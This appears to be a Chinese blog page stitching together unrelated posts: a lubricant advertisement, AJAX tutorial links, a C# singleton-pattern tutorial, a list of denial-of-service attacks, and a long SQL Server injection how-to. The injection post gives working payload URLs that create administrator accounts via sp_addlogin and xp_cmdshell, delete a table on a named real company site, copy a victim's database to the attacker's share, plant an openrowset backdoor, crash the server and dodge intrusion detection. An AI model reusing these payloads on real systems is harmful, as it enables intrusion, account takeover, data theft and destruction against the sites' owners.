中国硼酸酯润滑油第一品牌 中国硼酸酯添..
2012-03-11 23:40
| 山东壳英能润滑油有限公司,是“修复型硼酸酯”石油添加剂的专利技术发明人,该公司坐落于山东省济南市章丘赭山工业园区内。时至今日,伴随着硼酸酯添加剂逐渐为国内众多石化企业认识和应用,硼酸酯添加剂步入了快速发展的成长周期,山东壳英能石化集团公司凭借其“修复型硼酸酯亮色添加剂”的卓越功效,无疑成为这一高科技添加剂领域的领军企业,其旗下有壳英能添加剂公司和壳英能润滑油公司,两大系统的强大研发能力,成熟掌握了“修复型硼酸酯亮色添加剂”的核心专利技术,所生产的“壳英能牌硼酸酯添加剂”系列产品正源源不断地供应国内各大润滑油企业,并获得高度的认可和肯定,主要添加剂产品为,“硼酸酯抗磨修复剂”、“硼酸酯柴汽通用复合剂”、“硼酸酯齿轮油复合剂”。2010年5月份山东壳英能石化集团公司建成硼酸酯添加剂大规模工业化生产基地,设计产能为年产值20亿元规模,初步奠定中国硼酸酯添加剂领军企业地位。从而,引领中国的节能环保添加剂产业,快速而稳健地向前发展,为中国的民族石化工业贡献自己的绵薄之力!以期实现产业报国的美好愿景! “青花瓷润滑油”、“兰亭序润滑油”、“修复王子润滑油”、“贝能润滑油”是山东壳英能润滑油有限公司生产的具有自主品牌的“壳英能润滑油—通用版”系列。同时,壳英能石化公司依照各大常用车型及常用发动机的动力结构特点,研发生产出了“中国重型汽车专用油”、“潍柴发动机专用油”、“陕汽专用油”、“欧曼专用油”、“一汽专用油”、“东风专用油” 、“江淮专用油”等“壳英能润滑油--专用油”系列。以上两大系列润滑油产品,均采用壳英能石化公司自主研发的“修复型硼酸酯”高科技复合剂精制,配以优质进口基础油系列和优质国产基础油系列,经科学组方和先进的生产工艺流程制造而成,其旗下两大系列产品均郑重承诺:确保20000公里动力强劲! 确保机油压力保持4个! 确保长期使用,发动机清洁干净! 确保“欧Ⅳ、欧Ⅲ”机油,达到环保排放标准! 铁打的承诺源自于铁打的信心!“壳英能修复型硼酸酯润滑油”具有高度的抗磨性能、减磨性能、修复性能、节能环保性能、自净清洗性能、耐高温性能、抗乳化性能等卓越功效,使该油品真正达到了高油压、强动力、低耗能的尖端水平,配合并推动了国家所倡导的节能减排宏观产业政策。使“硼”成功应用于大规模工业化生产,制造出了节能、环保的高科技润滑油产品,真正实现了服务社会、造福人类的科技理念! “壳英能修复型润滑油”全系列产品;“壳英能修复型添加剂”全系列产品,面向全国诚招合作伙伴,欢迎有识之士来公司洽谈合作,共创伟业!
程总正在接受《中央电视台》记者专访现场
|
壳英能广告支持
2012-03-11 23:39
| CCTV中央电视台“青花瓷润滑油”系列广告片--10.3版摘要:壳英能润滑油之“青花瓷”系列,CCTV央视广告片正在热播中 大家好,壳英能润滑油之“青花瓷”系列广告片,已于2011年10月3日17:25 CCTV中央电视台七套《和平年代》前隆重播出!每日播出,历时一个月,敬请观看! CCTV中央电视台“修复王子润滑油”系列广告片--5.16版摘要:壳英能润滑油之“修复王子”系列,CCTV央视广告片已于2011年5月16日播出 壳英能润滑油之“修复王子”系列广告片,已于2011年5月16日14:10分,CCTV中央电视台七套《致富经》节目后隆重播出!每日播出,历时一个月,感谢观看! 吉林电视台--生活频道:青花瓷润滑油广告片--10.1版摘要:壳英能润滑油之“青花瓷”系列广告片,已于2011年10月1日,吉林电视台--生活频道,《天气预报》栏目中,隆重播出! 山东电视台:“修复王子润滑油”系列广告片--4.16版摘要:壳英能润滑油之“修复王子”系列广告片,已于2011年4月16日,《天气预报》栏目中隆重播出! 壳英能润滑油之“修复王子”系列广告片,已于2011年4月16日,《天气预报》栏目中隆重播出!日播四次,历时一个月! 山东电视台--体育频道:修复王子润滑油广告片--4.18版摘要:壳英能润滑油之“修复王子”系列广告片,已于2011年4月18日,已于山东电视台--体育频道,《天气预报》栏目中隆重播出! 壳英能润滑油之“修复王子”系列广告片,已于2011年4月18日,已于山东电视台--体育频道,《天气预报》栏目中隆重播出!日播四次,历时一个月。 |
写这个主要 是为了和大家分享下我的学习A..
2010-10-06 16:19
| 写这份教程的目的.是为了普及ajax技术知识.更是为了我的所学能分享给更多人.本着为学习的精神,原创的态度,进步的目的.这几年来我一直活跃在ajax的小型商业项目之中.这个夏天太热了.能让我在失业之余写出这份教程..分享给大家...也是我一个长久的心愿....望各位高手与班竹给予支持.谢谢!!! 第一篇:ajax准备开始篇 摘要:在此之前我们需要做一下简单的ajax准备工作,但你必须要具备基本的html,javascript,dom编写能力.否则这个ajax教程你读起来会很吃力.我的目的是通过这份教程.可以让你在你的网页中使用ajax技术实现,读取,添加,修改,删除数据的操作.也许你是只老鸟对我写的这些不屑一顾,但我还是希望你能看 下该教程中演示的一些例子,没准会有地方吸引你! 学习地址:http://www.web666.net/ajax/ajax_1.html 第二篇:ajax初试之数据读取篇 摘要:上次我们讲了"ajax开始准备篇",做好了基本的ajax准备工作以后.我们开始牛刀小试一下:ajax初试之读取数据篇.是的,今天我们要实现的效果是.在不刷新网页的情况下读取并显示服务端的数据 学习地址:http://www.web666.net/ajax/ajax_2.html 第三篇:ajax读取数据到表格 摘要:前两篇我们讲了"ajax开始的准备"与及如何使用ajax技术进行简单的数据读取.今天我们要讲的是:使用Ajax无刷新技术读取服务端多条数据,并将返回的数据显示到一个表格内.同时我还将展示,如何使用JavaScript脚本和Dom接口,来为网页创建一个表格 .将ajax请求的数据显示到该表格内. 学习与实例演示地址:http://www.web666.net/ajax/ajax_3.html 第四篇:ajax添加数据即时显示篇 摘要:经过前3篇的ajax实例教程的学习,我想各位已经能够使用ajax技术进行简单的数据读取工作. 今天我们要学习的内容是:使用ajax向服务端的数据库添加数据,然后在网页不刷新情况下即时显示被添加的数据 学习地址:http://www.web666.net/ajax/ajax_4.html 第五篇:ajax修改数据显示篇 摘要:上一篇我们讲了如何使用ajax向数据库添加数据,今天我们要大家学习的课程是:使用ajax修改数据库数据,并在客户网页立即显示新的内容.当然在修改的过程中同样不会有刷新网页的情况发生! 学习与演示地址:http://www.web666.net/ajax/ajax_5.html 第六篇:Ajax添加数据与删除篇 摘要:如果你真的把前几篇掌握了.实现ajax删除功能会易如反常.我所要教你的是.灵活利用JavaScript和Dom来实现一个酷酷的删除效果. 学习与演示地址:http://www.web666.net/ajax/ajax_6.html |
SQL数据库攻击详解(终于上来了)
2010-10-03 02:51
| SQL数据库攻击详解 SQL数据库攻击详解对于国内外的很多新闻,BBS和电子商务网站都采用ASP+SQL设计,而写 ASP的程序员很多(有很多刚刚毕业的),所以,ASP+SQL的攻击成功率也比较高。这类攻击方法与NT的版本和SQL的版本没有多大的关系,也没有相应的补丁,因为漏洞是程序员自己造成的,而且大多数讲解ASP编程的书上,源代码例子就有这个漏洞存在,其实只是一些合法的ASP对SQL的请求,就留下后患无穷! 这种攻击方法最早源于'or'1'='1的漏洞(我们暂且称其为漏洞),这个漏洞的原理我想大家因该都知道了,那么随之而来的便是;execsp_addlogin hax(在数据库内添加一个hax用户),但是这个方法的限制很大,首先ASP使用的SQL Server账号是个管理员,其次请求的提交变量在整个SQL语句的最后,因为有一些程序员采用SELECT * FROM news WHERE id=... AND topic=... AND ..... 这种方法请求数据库,那么如果还用以上的例子就会news.asp?id=2;exec sp_addlogin hax变成SELECT * FROM news WHERE id=2;exec sp_addlogin hax AND topic=... AND ... 整个SQL语句在执行sp_addlogin的存储过程后有AND与判断存在,语法错误,你的sp_addlogin自然也不能正常运行了,因此试试看下面这个方 法: news.asp?id=2;exec sp_addlogin hax;-- 后面的--符号把sp_addlogin后的判断语句变成了注释,这样就不会有语法错误了,sp_addlogin正常执行! 那么我们连一起来用吧 news.asp?id=2;exec master.dbo.sp_addlogin hax;-- news.asp?id=2;exec master.dbo.sp_password null,hax,hax;-- news.asp?id=2;exec master.dbo.sp_addsrvrolemember sysadmin hax;-- news.asp?id=2;exec master.dbo.xp_cmdshell 'net user hax hax /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- news.asp?id=2;exec master.dbo.xp_cmdshell 'net localgroup administrators hax /add';-- 这样,你在他的数据库和系统内都留下了hax管理员账号了,当然,前提条件是ASP用管理员账号,所以虚拟空间大家就别试了,不会存在这个漏洞的。以后我们会讨论,如果对方的ASP不是用SQL管理员账号,我们如何入侵,当然也会涉及到1433端口的入侵.当然大家可以试试看在id=2后面加上一个'符号,主要看对方的ASP怎么写了。 再说说当ASP程序使用的SQL账号不是管理员的时候我们该如何做。你如天融信的主页,有新闻内容,如下: http://www.talentit.com.cn/news/news-2.asp?newid=117 大家可以试试看http://www.talentit.com.cn/news/news-2.asp?newid=117;select 123;-- 呵呵,报语法错误,select 123错误,显而易见,天融新的ASP在newid变量后面用'号结束,那么试试看http://www.talentit.com.cn/news/news-2.asp?newid=117';delete news;-- 哈哈,我想只要表名猜对了,新闻库就被删了。 通常ASP用的SQL账号就算不是管理员也会是某个数据库的owner,至少对于这个库有很高的管理权限。 但是我们不知道库名该怎么?看看db_name()函数吧。打开你的query analyzer,看看print db_name() ,呵呵,当前的数据库名就出来了。 以次类推,如下: declare @a sysname;set @a=db_name();backup database @a to disk='你的IP你的共享目录bak.dat' ,name='test';-- 呵呵,他的当前数据库就备份到你的硬盘上了,接下来要做的大家心里都明白了吧。同理这个方法可以找到对方的SQL的IP,先装一个防火墙,打开ICMP和139TCP和445TCP的警告提示,然后试试看news.asp?id=2;exec master.dbo.xp_cmdshell 'ping 你的IP,如果防火墙提示有人ping你,那么因该可以肯定对方的ASP用的是SQL的管理员权限,同时也确定了对方的SQL Server的准确位置,因为很多大一点的网站考虑性能,会吧web服务和数据库分开,当对方大上了补丁看不到源代码时,我想只有这个方法能很快的定位对方的SQL Server的位置了。 那么,如果对方ASP没有SQL管理员权限,我们就不能调用xp_cmdshell了,该怎么办? 别着急,试试看这个news.asp?id=2;declare @a;set @a=db_name();backup database @a to disk='你的IP你的共享目录bak.dat',name='test';-- 呵呵,你的防火墙该发出警告了,有人连接你的445或139(win9端口了,这样,对方的SQL的ip一样也可以暴露。 那么如果对方连某个数据库的owner也不是的话,我们该怎么办?下次我会告诉大家一个更好的办法。 其实backuo database到你的硬盘还是有点夸张了,如果对方数据库很庞大,你又是拨号上网,呵呵,劝你别试了,很难成功传输的。下次我们还会谈到如何骗过IDS执行ASP+SQL入侵。 目前有些好的IDS已经开始监视xp_cmdshell这些关键字了,好吧,同志们下次见! 所有以上url希望大家通过vbscript提交,因为浏览器的地址栏会屏蔽一些特殊字符,这样你的命令就不能完整传输了window.location.herf=URL 补充:这个问题以前载网上也提出来过,但是只是一些简单的xp_cmdshell调用限制很大,其实这里面还有很多值得深入的地方比如www.guosen.com.cn。国信证卷就有这个问题,而且他们采用ms的三层结构作的用以前说的xp_cmdshell做法就不行了,字符串会被过滤,但是我尝试了,用sql的异类请求仍然可以在对方的机器上开启telnet服务和administrators组的账号!由于对方防火墙很严checkpoint数据报进出都只开放80端口因此,要想获得他的数据库结构比较困难了,但是还是有办法可以做到的:P。 顺便提醒大家注意一下关于sqloledb,db_name,openrowset,opendatasource这些系统函数当asp的sqlserver账号只是一个普通用户时,他们会很有用的! sql server新漏洞和一些突破口 下面我要谈到一些sqlserver新的bug,虽然本人经过长时间的努力,当然也有点幸运的成分在内,才得以发现,不敢一个人独享,拿出来请大家鉴别,当然很有可能有些高手早已知道了,毕竟我接触sqlserver的时间不到1年:P 1。关于openrowset和opendatasource 可能这个技巧早有人已经会了,就是利用openrowset发送本地命令 通常我们的用法是(包括MSDN的列子)如下 select * from openrowset('sqloledb','myserver';'sa';'','select * from table') 可见(即使从字面意义上看)openrowset只是作为一个快捷的远程数据库访问,它必须跟在select后面,也就是说需要返回一个recordset 那么我们能不能利用它调用xp_cmdshell呢?答案是肯定的! select * from openrowset('sqloledb','server';'sa';'','set fmtonly off exec master.dbo.xp_cmdshell ''dir c:''') 必须加上set fmtonly off用来屏蔽默认的只返回列信息的设置,这样xp_cmdshell返回的output集合就会提交给前面的select显示,如果采用默认设置,会返回空集合导致select出错,命令也就无法执行了。 那么如果我们要调用sp_addlogin呢,他不会像xp_cmdshell返回任何集合的,我们就不能再依靠fmtonly设置了,可以如下操作select * from openrowset('sqloledb','server';'sa';'','select ''OK!'' exec master.dbo.sp_addlogin Hectic'),这样,命令至少会返回select 'OK!'的集合,你的机器商会显示OK!,同时对方的数据库内也会增加一个Hectic的账号,也就是说,我们利用select 'OK!'的返回集合欺骗了本地的select请求,是命令能够正常执行,通理sp_addsrvrolemember和opendatasource也可以如此操作!至于 这个方法真正的用处,大家慢慢想吧:P 2。关于msdasql两次请求的问题 不知道大家有没有试过用msdasql连接远程数据库,当然这个api必须是sqlserver的管理员才可以调用,那么如下 select * from openrowset('msdasql','driver=;server=server;address=server,1433;uid=sa;pwd=;database=master;network=dbmssocn','select * from table1 select * fromtable2')当table1和table2的字段数目不相同时,你会发现对方的sqlserver崩溃了,连本地连接都会失败,而系统资源占用一切正常,用pskill杀死sqlserver进程后,如果不重启机器,sqlserver要么无法正常启动,要么时常出现非法操作,我也只是碰巧找到这个bug的,具体原因我还没有摸透,而且很奇怪的是这个现象只出现在msdasql上,sqloledb就没有这个问题,看来问题不是在于请求集合数目和返回集合数目不匹配上,因该还是msdasql本身的问题,具体原因,大家一起慢慢研究吧:P 3。可怕的后门 以前在网上看到有人说在sqlserver上留后门可以通过添加triger,jobs或改写sp_addlogin和sp_addsrvrolemember做到,这些方法当然可行,但是很容易会被发现。不知道大家有没有想过sqloledb的本地连接映射。呵呵,比如你在对方的sqlserver上用sqlserver的管理员账号执行如下的命令select * from openrowset('sqloledb','trusted_connection=yes;data source=Hectic','set fmtonly off exec master..xp_cmdshell''dir c:''')这样在对方的sqlserver上建立了一个名为Hectic的本地连接映射,只要sqlserver不重启,这个映射会一直存在下去,至少我现在还不知道如何发现别人放置的连接映射,好了,以上的命令运行过后,你会发现哪怕是sqlserver没有任何权限的guest用户,运行以上这条命令也一样能通过!而且权限是localsystem!(默认安装)呵呵!这个方法可以用来在以被入侵过获得管理员权限的sqlserver上留下一个后门了。 以上的方法在sqlserver2000+sqlserver2000SP1上通过! *另外还有一个猜测,不知道大家有没有注意过windows默认附带的两个dsn,一个是localserver一个是msqi,这两个在建立的时候是本地管理员账号连接sqlserver的,如果对方的sqlserver是通过自定义的power user启动,那么sa的权限就和power user一样,很难有所大作为,但是我们通过如下的命令select * from openrowset('msdasql','dsn=locaserver;trusted_connection=yes','set fmtonly off exec master..xp_cmdshell ''dir c:''')应该可以利用localserver的管理员账号连接本地sqlserver然后再以这个账号的权限执行本地命令了,这是后我想应该能突破sa那个power user权限了。现在的问题是sqloledb无法调用dsn连接,而msdasql非管理员不让调用,所以我现在正在寻找guest调用msdasql的方法如果有人知道这个bug如何突破,或有新的想法,我们可以一起讨论一下,这个发放如果能成功被guest利用,将会是一个很严重的安全漏洞。 因为我们前面提到的任何sql语句都可以提交给对方的asp去帮我们执行:P 利用t-sql骗过ids或攻击ids 现在的ids已经变得越来越聪明了 有的ids加入了xp_cmdshell sp_addlogin 的监视 ,但是毕竟人工智能没有出现的今天,这种监视总是有种骗人的感觉 。先说说欺骗ids: ids既然监视xp_cmdshell关键字,那么我们可以这么做,declare @a sysname set @a="xp_"+"cmdshell" exec @a 'dir c:' 这个代码象性大家都能看明白,还有xp_cmdshell作为一个store procedure在master库内有一个id号,固定的,我们也可以这么做, 假设这个id=988456 declare @a sysname select @a=name from sysobjects where id=988456 exec @a 'dir c:' 当然也可以 declare @a sysname select @a=name from sysobjects where id=988455+1 exec @a 'dir c:' 这种做法排列组合,ids根本不可能做的到完全监视 同理,sp_addlogin也可以这么做 。 再说说攻击ids: 因为ids数据量很大,日至通常备份到常规数据库,比如sql server 如果用古老的recordset.addnew做法,会严重影响ids的性能,因为通过ado做t-sql请求,不但效率高,而且有一部分工作可以交给sql server去做 。 通常程序会这么写:insert table values ('日至内容',...) 那么我么想想看,如果用temp') exec xp_cmdshell 'dir c:' -- ,提交后会变成 insert table values ('日至内容'....'temp') exec xp_cmdshell 'dir c:' -- ') ,这样,xp_cmdshell就可以在ids的数据库运行了,当然ids是一个嗅叹器,他会抓所有的报,而浏览器提交的时候会把空格变成%20 ,因此,%20会被提交到sql server,这样你的命令就无法执行了 ,唯一的办法就是insert/**/table/**/values('日至内容'....'temp')/**/exec/**/xp_cmdshell/**/'dir c:'/**/-- ') 用/**/代替空格做间隔符,这样你的t-sql才能在ids的数据库内执行,当然也可以用其他语句,可以破坏,备份ids的数据库到你的共享目录 。呵呵 ... 其实这种方法的原理和攻击asp是一样的,只是把空格变成了/**/ ,本来asp是select语句,那么用'就可以屏蔽现在ids用insert语句,那么用')屏蔽 。 好了,其他很多新的入侵语句大家可以自己慢慢想,最好的测试工具就是query analyzer了。 |
IP地址攻击方式汇总【推荐】
2010-10-03 02:51
| 1.OOB攻击 这是利用NETBIOS中一个OOB (Out of Band)的漏洞而来进行的,它的原理是通过TCP/IP协议传递一个数据包到计算机某个开放的端口上(一般是137、138和139),当计算机收到这个数据包之后就会瞬间死机或者蓝屏现象,不重新启动计算机就无法继续使用TCP/IP协议来访问网络。 2.DoS攻击 这是针对Windows 9X所使用的ICMP协议进行的DOS(Denial of Service,拒绝服务)攻击,一般来说,这种攻击是利用对方计算机上所安装协议的漏洞来连续发送大量的数据包,造成对方计算机的死机。 3.WinNuke攻击 目前的WinNuke系列工具已经从最初的简单选择IP攻击某个端口发展到可以攻击一个IP区间范围的计算机,并且可以进行连续攻击,还能够验证攻击的效果,还可以对检测和选择端口,所以使用它可以造成某一个IP地址区间的计算机全部蓝屏死机。 4.SSPing 这是一个IP攻击工具,它的工作原理是向对方的计算机连续发出大型的ICMP数据包,被攻击的机器此时会试图将这些文件包合并处理,从而造成系统死机。 5.TearDrop攻击 这种攻击方式利用那些在TCP/IP堆栈实现中信任IP碎片中的包的标题头所包含的信息来实现自己的攻击,由于IP分段中含有指示该分段所包含的是原包哪一段的信息,所以一些操作系统下的TCP/IP协议在收到含有重叠偏移的伪造分段时将崩溃。TeadDrop最大的特点是除了能够对Windows 9X/NT进行攻击之外,连Linux也不能幸免 |
系统架构技能之设计模式-单件模式
2010-10-03 02:37
| 一、开篇 其实我本来不是打算把系统架构中的一些设计模式单独抽出来讲解的,因为很多的好朋友也比较关注这方面的内容,所以我想通过我理解及平时项目中应用到的一 些常见的设计模式,拿出来给大家做个简单讲解,我这里只是抛砖引玉,如果某个地方讲解的不正确或者不详细,请大家批评指出。园子里面的很多的大牛写的设计模式 都非常的经典,我这里写可能有点班门弄斧的感觉,不过我还是决定把它写出来,希望能对初学者有一定的帮助和指导的作用。当然我这里如果说某个地方解释的有问 题或者说是某个地方写的不符合逻辑之处,还请大家多多指出,提出宝贵意见。 软件工程中其实有很多总结性的话语,比如说软件=算法+数据结构等等这样的描述,当然我们这里可能算法就是泛指一些软件中的编程方法了,设计模式怎么去 理解呢?为什么要有设计模式?它能带来什么?等等这些都是我们需要讨论的问题。首先我们需要知道设计模式能带来什么。可能这才是我们学习它的主要原因,如果 说不能为我们在书写软件的过程中带来更方面的好处,那我们也不会使用和学习它。 设计模式是什么? 设计模式可以简单的理解为解决某一系列问题的完美的解决方案。我们在软件开发的过程中经常遇到设计功能实现的问题,而设计模式正是为了解决软件设计功能 实现时遇到的某一类问题的解决方案。因为一般情况下来说,我们在某个软件功能的开发过程中遇到的功能设计问题,可能是前人很早就遇到过的问题,所以通过这种 设计模式的方式来解决,能让我们在软件实现的过程中少走弯路,或者说是给我们的软件设计带来很好的灵活性和适应性。 设计模式带来了什么? 设计模式是源于实践,并且每种设计模式都包含了一个问题描述,问题涉及到的参与者并且提供了一个实际的解决方案。设计模式的好处我们可以通过下图来简单 说明: 当然我这里可能总结还不完全,还请大家补充,我会更新这里面的内容。当然设 计模式带来了这么多的好处,所以我们学习设计模式就显得比较必要了,也是从事软件开发及设计必须掌握的基本技能之一。 设计模式的简单分类: 当然这里可以简单的分为这3大类,下面我们在讲述的过程中将会分别讲解,当然我这里是以创建型模 式开始讲解,我想创建型模式也是大家项目中必备的吧?下面我就从创建型模式先来讲解。 二、摘要 本文将主要讲解创建型模式中的单例模式先来讲解,因为单例模式是最简单也是最容易理解的设计模式,上手快,易使用的设计模式。本文将从下面的流程来讲解 单例模式,后面讲述的设计模式也将使用这样的方式。 1、什么是单例模式? 2、单例模式的应用场景。 3、举例说明单例模式的使用。 4、总结单例模式的用法。 三、本文大纲 a、开篇。 b、摘要。 c、本文大纲。 d、单例模式的简介。 e、相关应用场景分析。 f、本文总结。 g、系列进度。 h、下篇预告。 四、单例模式的简介 本章我们将来讲述下单例模式的使用,首先我们来看看单例模式的定义: 单例模式:是一种软件设计中常用的设计模式,主要是用来控制某个类必须在某个应用程序中只能有一个实例存在。 有时候我们需要确保整个系统中只有某个类的一个实例存在,这样有利于我们协调控制系统的行为。例如:我们在某个系统中使用了发送短信的这样的服务,那么 我们可能希望通过单一的短信服务类的实例,而不是多个对象实例完成短信的发送服务。这时我们可以通过单例模式来完成。 上图简单描述了单例模式应用的位置。 我们看看单例模式的几种实现方式: 下面我们来举例说明下这2种方式的实现。 1、外部控制的方式 view sourceprint?01 public class Instance 02 { 03 private List<SendMessage> lists = new List<SendMessage>(); 04 private SendMessage sendInstance; 05 06 public SendMessage SInstance 07 { 08 get 09 { 10 return sendInstance; 11 } 12 } 13 14 public void InstanceMethod() 15 { 16 if (lists.Count == 0) 17 { 18 sendInstance = new SendMessage(); 19 lists.Add(sendInstance); 20 } 21 else 22 { 23 sendInstance = lists[0]; 24 } 25 } 26 } 2、内部控制方式 view sourceprint?01 public class Instance1 02 { 03 private static SendMessage sendInstance; 04 private static object _lock = new object(); 05 06 protected Instance1() 07 { 08 } 09 10 public static SendMessage SInstance 11 { 12 get 13 { 14 lock (_lock) 15 { 16 if (sendInstance == null) 17 sendInstance = new SendMessage(); 18 return sendInstance; 19 } 20 } 21 } 22 } 这里有几点需要注意的地方,对于第二种方式有几个地方需要说明下,首先是要控制全局只有一个实例的类,请定义成静态实例,这样可以确保只有一个实例对 象,其次,这个对象的构造函数请声明成保护类型的成员,这样可以屏蔽通过直接实例化的形式来访问。通过这样的形式,客户可以不需要知道某个单例实例对象的内 部实现细节。一般情况下满足上面的2点需求就可以完成全局唯一访问入口的控制。当然可能在多线程的情况下采用这样的形式还会有一定的弊端,当然我们这里也简单 的讲解下相应的控制方案。方案如下: view sourceprint?1 public class CoolInstance 2 { 3 private CoolInstance() 4 { 5 } 6 public static readonly CoolInstance Instance = new CoolInstance(); 7 } 看吧很简单吧,当然我们这里来简单解释下原理: 1、我们先把构造函数声明为私有的构造函数,这样我们能够屏蔽外部通过实例化的形式访问内部的成员函数。所有的成员函数的访问必须通过静态成员Instance 来完成访问。 2、这段代码通过定义公共、静态、只读的成员相当于在类被第一次使用时执行构造,由于是只读的,所以一旦构造后不允许修改,就不用担心不安全的问题。 相信对上面的介绍大家应该基本上知道单例模式的应用了,那么下面我们来看看项目中的实际应用场景及用法。 五、相关应用场景讲解 1、场景短信及邮件发送服务 那么我们将采用上面介绍的最“COOL”的方式来进行控制,提供发送短信及发送邮件的服务。 view sourceprint?01 public class CoolInstance 02 { 03 private CoolInstance() 04 { 05 } 06 07 public static readonly CoolInstance Instance = new CoolInstance(); 08 09 /// <summary> 10 /// 发送手机短信 11 /// </summary> 12 public bool SendMessage(string telNumber,string content) 13 { 14 return true; 15 } 16 17 /// <summary> 18 /// 发送邮件 19 /// </summary> 20 /// <param name="content"></param> 21 /// <param name="toMail"></param> 22 public bool SendMail(string content,string toMail) 23 { 24 return true; 25 } 26 } 我们再来看看调用类中如何书写完成调用。例如我们有个订单类,当有人新下订单时,将给卖家发送短信提醒功能。 view sourceprint?01 /// <summary> 02 /// 订单业务 03 /// </summary> 04 public class Order 05 { 06 public int Save() 07 { 08 //先是将订单的相关信息生成, 09 this.InitOrderInfo(); 10 11 //执行订单的持久化方法 12 int count= this.Add(); 13 14 //发送短信 15 CoolInstance.Instance.SendMessage(string.Empty, string.Empty); 16 //发送邮件 17 CoolInstance.Instance.SendMail(string.Empty, string.Empty); 18 19 return count; 20 } 21 22 /// <summary> 23 /// 初始化订单信息 24 /// </summary> 25 private void InitOrderInfo() 26 { 27 } 28 29 /// <summary> 30 /// 新增订单信息 31 /// </summary> 32 /// <returns></returns> 33 private int Add() 34 { 35 return 0; 36 } 37 } 这样我们就完成了短信发送服务及邮件发送服务的控制。主要还是根据自己的业务需要。 2、例如我们现在提供一个系统日志服务或者打印或者扫描的服务,我们希望全局只有一个访问入口,那么我们就可以通过这样的单例模式来实现这样的需求。 view sourceprint?01 public class PrintHelper 02 { 03 #region 构造函数 04 private PrintHelper() 05 { 06 } 07 08 public static readonly PrintHelper Instance = new PrintHelper(); 09 #endregion 10 11 #region 打印服务 12 13 /// <summary> 14 /// 直接打印服务 15 /// </summary> 16 /// <returns></returns> 17 public bool Print() 18 { 19 return true; 20 } 21 22 /// <summary> 23 /// 打印预览 24 /// </summary> 25 /// <returns></returns> 26 public bool PrintPreview() 27 { 28 return true; 29 } 30 31 #endregion 32 } 具体的调用类我就不写相应的代码,都和上面的形式类同,下面我们讲解下可能更特殊的需求,有时候我们可能需要更新我们创建的唯一实例,这时我们如何控 制单例实例对象的更新呢,有时候可能我们有这样的需求。下面我们来看看如何实现这样的需求。 3、可更新单例对象的场景 首先我们先说下什么情况下会遇到这样的更新方式呢?例如我们想在单例模式的类的构造函数是带有一定参数的情形时: view sourceprint?01 public class UpdateHelper 02 { 03 private string type = string.Empty; 04 private static object _lock = new object(); 05 private static UpdateHelper instance; 06 private UpdateHelper(string valueType) 07 { 08 type = valueType; 09 } 10 11 public static UpdateHelper Instance 12 { 13 get 14 { 15 lock (_lock) 16 { 17 if (instance == null) 18 { 19 //如果这里有多个条件需求的话,可能写起来会比较复杂,那么有更好的方式来处理吗? 20 instance = new UpdateHelper("test!"); 21 } 22 23 return instance; 24 } 25 } 26 } 27 } 那么我们来分析几种办法,有没有更好的办法来处理呢? 1、首先我们不能手动实例化,所以我们没有办法动态传入构造函数参数,只能在类的内部指定这个参数,但是有时候我们需要动态的更新这个参数,那么这样的 形式显然就没有办法实现。 2、通过属性的方式,来动态的设置属性的内容来完成输出参数的改变,但是这样的方式可能太过自由,无法满足单例模式的初衷。 3、接口方式,因为接口必须要靠类来实现,所以更不靠谱,可以不考虑这样的方式。 4、通过Attribute的方式来将信息动态的注入到构造函数中,但是怎么说这样的方式是不是太兴师动众了呢?毕竟单例模式本来就是很简单的。 5、通过配置文件,通过config文件配置节点的形式来动态的配置相关信息,实现更新实例对象内容的情况。 通过上面的5种情况的分析,那么通过2、4、5可以实现这个要求,但是对比相应的代价来说,5的方式是最灵活也是最符合单例模式本来的规范要求,相对来说 成本和代价也可以接收。 view sourceprint?1 <?xml version="1.0" encoding="utf-8" ?> 2 <configuration> 3 <system.Web> 4 <add key="ssss" >value</add> 5 6 </system.Web> 7 </configuration> 那么我们上面的单力模型中的代码只需要稍微的变化下即可,请看如下代码: view sourceprint?01 public class UpdateHelper 02 { 03 private string type = string.Empty; 04 private static object _lock = new object(); 05 private static UpdateHelper instance; 06 private UpdateHelper(string valueType) 07 { 08 type = valueType; 09 } 10 11 public static UpdateHelper Instance 12 { 13 get 14 { 15 lock (_lock) 16 { 17 if (instance == null) 18 { 19 //如果这里有多个条件需求的话,可能写起来会比较复杂,那么有更好的方式来处理吗? 20 instance = new UpdateHelper(System.Configuration.ConfigurationManager.AppSettings["ssss"].ToString()); 21 } 22 23 return instance; 24 } 25 } 26 } 27 } 我想到这里大家都对单例模式有个简单的认识了,本文的内容就讲到这里。我们来回顾下我们讲述的内容: 六、本文总结 本文主要讲述了创建型模式中的单例模式,单例模式主要是用来控制系统中的某个类的实例的数量及全局的访问入口点。我们主要讲述了实现单例模式的方式, 分为外部方式及内部方式,当然我们现在采用的方式都是内部方式,还讲述了线程安全的单例模式及带有参数的构造函数的情况,根据配置文件来实现参数值的动态配 置的情况。希望本文的讲解能对不熟悉设计模式的同仁能够了解知道单例模式的应用,而对已熟知单例模式的同仁可以温故而知新,我会努力写好这个系列,当然我这 里可能在大牛的面前可能是班门弄斧吧,不过我会继续努力,争取写出让大家一看就明白的设计模式系列。本文错误之处再所难免,还请大家批评之处,我会继续改 进。 七、系列进度 创建型 1、系统架构技能之设计模式-单件模式 2、系统架构技能之设计模式-工厂模式 3、系统架构技能之设计模式-抽象工厂模式 4、系统架构技能之设计模式-创建者模式 5、系统架构技能之设计模式-原型模式 结构型 1、系统架构技能之设计模式-组合模式 2、系统架构技能之设计模式-外观模式 3、系统架构技能之设计模式-适配器模式 4、系统架构技能之设计模式-桥模式 5、系统架构技能之设计模式-装饰模式 6、系统架构技能之设计模式-享元模式 7、系统架构技能之设计模式-代理模式 行为型 1、系统架构技能之设计模式-命令模式 2、系统架构技能之设计模式-观察者模式 3、系统架构技能之设计模式-策略模式 4、系统架构技能之设计模式-职责模式 5、系统架构技能之设计模式-模板模式 6、系统架构技能之设计模式-中介者模式 7、系统架构技能之设计模式-解释器模式 |
别期望你的爱情能走长久
2008-01-06 01:53
